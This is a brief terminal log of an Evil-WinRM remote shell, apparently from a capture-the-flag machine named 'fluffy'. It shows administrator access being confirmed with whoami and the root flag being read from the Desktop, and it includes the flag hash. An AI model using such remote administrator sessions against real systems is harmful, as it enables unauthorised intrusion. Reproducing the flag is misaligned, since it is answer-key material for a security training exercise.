Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fluffy\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
060c7d19178601f5e0482db4d50a19c2